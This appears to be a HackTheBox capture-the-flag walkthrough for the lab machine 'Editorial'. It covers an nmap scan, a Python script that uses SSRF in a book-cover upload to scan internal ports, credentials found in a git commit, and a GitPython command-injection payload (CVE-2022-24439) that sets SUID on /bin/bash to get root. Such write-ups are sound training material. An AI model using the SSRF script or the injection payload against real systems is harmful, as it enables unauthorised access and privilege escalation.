HackTheBox: Editorial
Editorial is an easy machine by HackTheBox where We start by exploiting an SSRF vulnerability in a book cover upload feature, which reveals an internal open port. Using credentials leaked from an API, we gain SSH access to the prod account. We then escalate privileges by exploiting a vulnerability in GitPython to gain root access and ultimately obtain the root.txt file.
Enumeration
Nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/Editorial]
└─$ nmap -sC -sV 10.10.11.20 -T4 -oN editorial.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 10:51 BST
Nmap scan report for 10.10.11.20
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds
We have identified 2 ports using nmap,
- 22/SSH - open
- 80/HTTP - open
Web Server at 80
visiting the web server on port 80, we get redirected to http://editorial.htb
, adding that to the /etc/hosts
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 Voldemort
10.10.11.20 editorial.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Visiting the web application we get a basic static web page.
Looking at the web page we notice a Publish with us
link which redirects to /upload
.
Exploitation
SSRF
The server is allowing us to supply URLs to set a book cover which can lead to SSRF.
After trying multiple technics to read internal files none of them worked and led us to a dead end. Checking for internal ports/services was the only thing left for us to try. With no idea about internal services running we created a python script with the help of our good friend ChatGPT which will do the job for us.
The script will send POST requests to /upload-cover
increasing the port number one by one http://127.0.0.1:{port}
(we have set the port range to 1-6000) for then to catch each response length and determine which is the less common response length, as it may take some time to run we’ve used the threading
module.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests
import threading
from collections import Counter
# URL and headers
url = "http://editorial.htb/upload-cover"
headers = {
"Host": "editorial.htb",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "multipart/form-data; boundary=---------------------------77887951118404856724231992278",
"Origin": "http://editorial.htb",
"DNT": "1",
"Connection": "close",
"Referer": "http://editorial.htb/upload"
}
# Function to create the payload with the specified port
def create_payload(port):
boundary = "-----------------------------77887951118404856724231992278"
payload = (
f"{boundary}\r\n"
'Content-Disposition: form-data; name="bookurl"\r\n\r\n'
f"http://127.0.0.1:{port}\r\n"
f"{boundary}\r\n"
'Content-Disposition: form-data; name="bookfile"; filename=""\r\n'
"Content-Type: application/octet-stream\r\n\r\n\r\n"
f"{boundary}--"
)
return payload
# Function to send request and record the response length
def send_request(port, response_data):
payload = create_payload(port)
try:
response = requests.post(url, headers=headers, data=payload)
length = len(response.content)
response_data.append((port, length))
print(f"Port {port} has {length} as response length")
except Exception as e:
print(f"Port {port} : Error - {e}")
# List to store (port, response length) tuples
response_data = []
# Create and start threads
threads = []
for port in range(1, 6000):
thread = threading.Thread(target=send_request, args=(port, response_data))
threads.append(thread)
thread.start()
# Wait for all threads to finish
for thread in threads:
thread.join()
# Calculate the least common response length
response_lengths = [length for _, length in response_data]
counter = Counter(response_lengths)
least_common_length, _ = counter.most_common()[-1] if counter else (None, None)
# Find the ports with the least common response length
least_common_ports = [port for port, length in response_data if length == least_common_length]
# Print the least common response length and the associated ports
print(f"\nLeast common response length: {least_common_length}")
print("Ports with this response length:")
for port in least_common_ports:
print(f"Port {port} has {least_common_length} as response length")
Running the script we hit a unique response length (51) as 61 is the most common which corresponds to port 5000
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/Editorial]
└─$ python3 upload.py
Port 2 has 61 as response length
...
Port 6000 has 61 as response length
Port 5999 has 61 as response length
Port 5994 has 61 as response length
Port 5992 has 61 as response length
Port 5997 has 61 as response length
Least common response length: 51
Ports with this response length:
Port 5000 has 51 as response length
Knowing that the port 5000
is open internally we tried to retrieve data from that port.
hitting on port 5000
we got various api endpoints with the most interesting one being /api/latest/metadata/messages/authors
, GETing the endpoint will result in data leak (user + password).
Initial Access
With the credentials obtained we are now able to connect to dev
account using SSH and cat
the user.txt
file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/Editorial]
└─$ ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Jul 23 11:10:51 AM UTC 2024
System load: 0.0
Usage of /: 61.5% of 6.35GB
Memory usage: 19%
Swap usage: 0%
Processes: 224
Users logged in: 0
IPv4 address for eth0: 10.10.11.20
IPv6 address for eth0: dead:beef::250:56ff:fe94:9cde
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jul 23 08:08:31 2024 from 10.10.14.140
dev@editorial:~$ ls
apps linpeas.sh user.txt
An app
directory is also present in dev’s home directory, taking a look at it we find a .git
directory which contains some git logs.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
dev@editorial:~$ ls -la
total 884
drwxr-x--- 5 dev dev 4096 Jul 23 12:02 .
drwxr-xr-x 4 root root 4096 Jun 5 14:36 ..
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 apps
lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3771 Jan 6 2022 .bashrc
drwx------ 2 dev dev 4096 Jun 5 14:36 .cache
drwx------ 3 dev dev 4096 Jul 23 11:53 .gnupg
-rw------- 1 dev dev 20 Jul 23 12:02 .lesshst
-rwxrwxr-x 1 dev dev 862777 Jul 23 06:13 linpeas.sh
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
-rw-r----- 1 root dev 33 Jul 23 04:06 user.txt
dev@editorial:~$ cd apps
dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 5 dev dev 4096 Jul 23 12:02 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
dev@editorial:~/apps$ cd .git
dev@editorial:~/apps/.git$ ls
branches COMMIT_EDITMSG config description HEAD hooks index info logs objects refs
dev@editorial:~/apps/.git$ cd logs
dev@editorial:~/apps/.git/logs$ ls
HEAD refs
dev@editorial:~/apps/.git/logs$ cat HEAD
0000000000000000000000000000000000000000 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905723 -0500 commit (initial): feat: create editorial app
3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a036b2f33c59e2390730699a488c65643d28 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905870 -0500 commit: feat: create api to editorial info
1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906108 -0500 commit: change(api): downgrading prod to dev
b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dfef9f20e57d730b7d71967582035925d57ad883 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906471 -0500 commit: change: remove debug and update api port
dfef9f20e57d730b7d71967582035925d57ad883 8ad0f3187e2bda88bba85074635ea942974587e8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906661 -0500 commit: fix: bugfix in api port endpoint
Looking through each one of these with git show {commit-id}
we come accross an interesting commit 1e84a036b2f33c59e2390730699a488c65643d28
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
dev@editorial:~/apps/.git/logs$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "info@tiempoarriba.htb"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
+@app.route('/api', methods=['GET'])
+def index():
+ data_editorial = {
+ 'version': [{
+ '1': {
+ 'editorial': 'Editorial El Tiempo Por Arriba',
+ 'contact_email_1': 'soporte@tiempoarriba.oc',
+ 'contact_email_2': 'info@tiempoarriba.oc',
+ 'api_route': '/api/v1/metadata/'
+ }},
+ {
+ '1.1': {
+ 'editorial': 'Ed Tiempo Arriba',
+ 'contact_email_1': 'soporte@tiempoarriba.oc',
+ 'contact_email_2': 'info@tiempoarriba.oc',
+ 'api_route': '/api/v1.1/metadata/'
+ }},
+ {
+ '1.2': {
+ 'editorial': api_editorial_name,
+ 'contact_email_1': 'soporte@tiempoarriba.oc',
+ 'contact_email_2': 'info@tiempoarriba.oc',
+ 'api_route': f'/api/v1.2/metadata/'
+ }},
+ {
+ '2': {
+ 'editorial': api_editorial_name,
+ 'contact_email': 'info@tiempoarriba.moc.oc',
+ 'api_route': f'/api/v2/metadata/'
+ }},
+ {
+ '2.3': {
+ 'editorial': api_editorial_name,
+ 'contact_email': api_editorial_email,
+ 'api_route': f'{api_route}/'
+ }
+ }]
+ }
+ return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+ return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board
and can't wait to see the incredible content you'll bring to the table.
\n\nYour login credentials for our internal forum and authors site
are:\nUsername: prod\nPassword: [REDACTED]\nPlease be sure to change your password
as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
:
Finding the prod
account’s password we were able to log in to it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dev@editorial:~/apps/.git/logs$ su - prod
Password:
prod@editorial:~$ ls -la
total 40
drwxr-x--- 5 prod prod 4096 Jul 23 08:36 .
drwxr-xr-x 4 root root 4096 Jun 5 14:36 ..
lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null
-rw-r--r-- 1 prod prod 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 prod prod 3771 Jan 6 2022 .bashrc
drwx------ 3 prod prod 4096 Jun 5 14:36 .cache
drwxrwxr-x 5 prod prod 4096 Jul 23 08:25 .local
-rw-r--r-- 1 prod prod 807 Jan 6 2022 .profile
-rw------- 1 prod prod 7 Jul 23 08:23 .python_history
drwx------ 2 prod prod 4096 Jun 5 14:36 .ssh
prod@editorial:~$
Privilege Escalation
Looking for any privilages we find that prod
account is able to run a python script using sudo
.
1
2
3
4
5
6
7
8
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Reading the python script to see what it’s doing, it seems like it clones a Git repository from a given URL into a directory named new_changes
in /opt/internal_apps/clone_changes
.
1
2
3
4
5
6
7
8
9
10
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Looking on google for some python git module exploits we came accross an interesting Github Issue mentioning an RCE Vulnerability in gitpython
(CVE-2022-24439
) leading us to a POC on Snyk website.
We tried to add SUID to /bin/bash as root and it worked!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% u+s% /bin/bash'
[sudo] password for prod:
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod% u+s% /bin/bash new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
executing /bin/bash -p
results in getting root privilages and we can then retrieve the root.txt
file.
1
2
3
4
5
6
7
8
prod@editorial:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
prod@editorial:~$ /bin/bash -p
bash-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)
bash-5.1# ls /root
root.txt
bash-5.1#
And with that we can say that Editorial is now Pwned ! 💀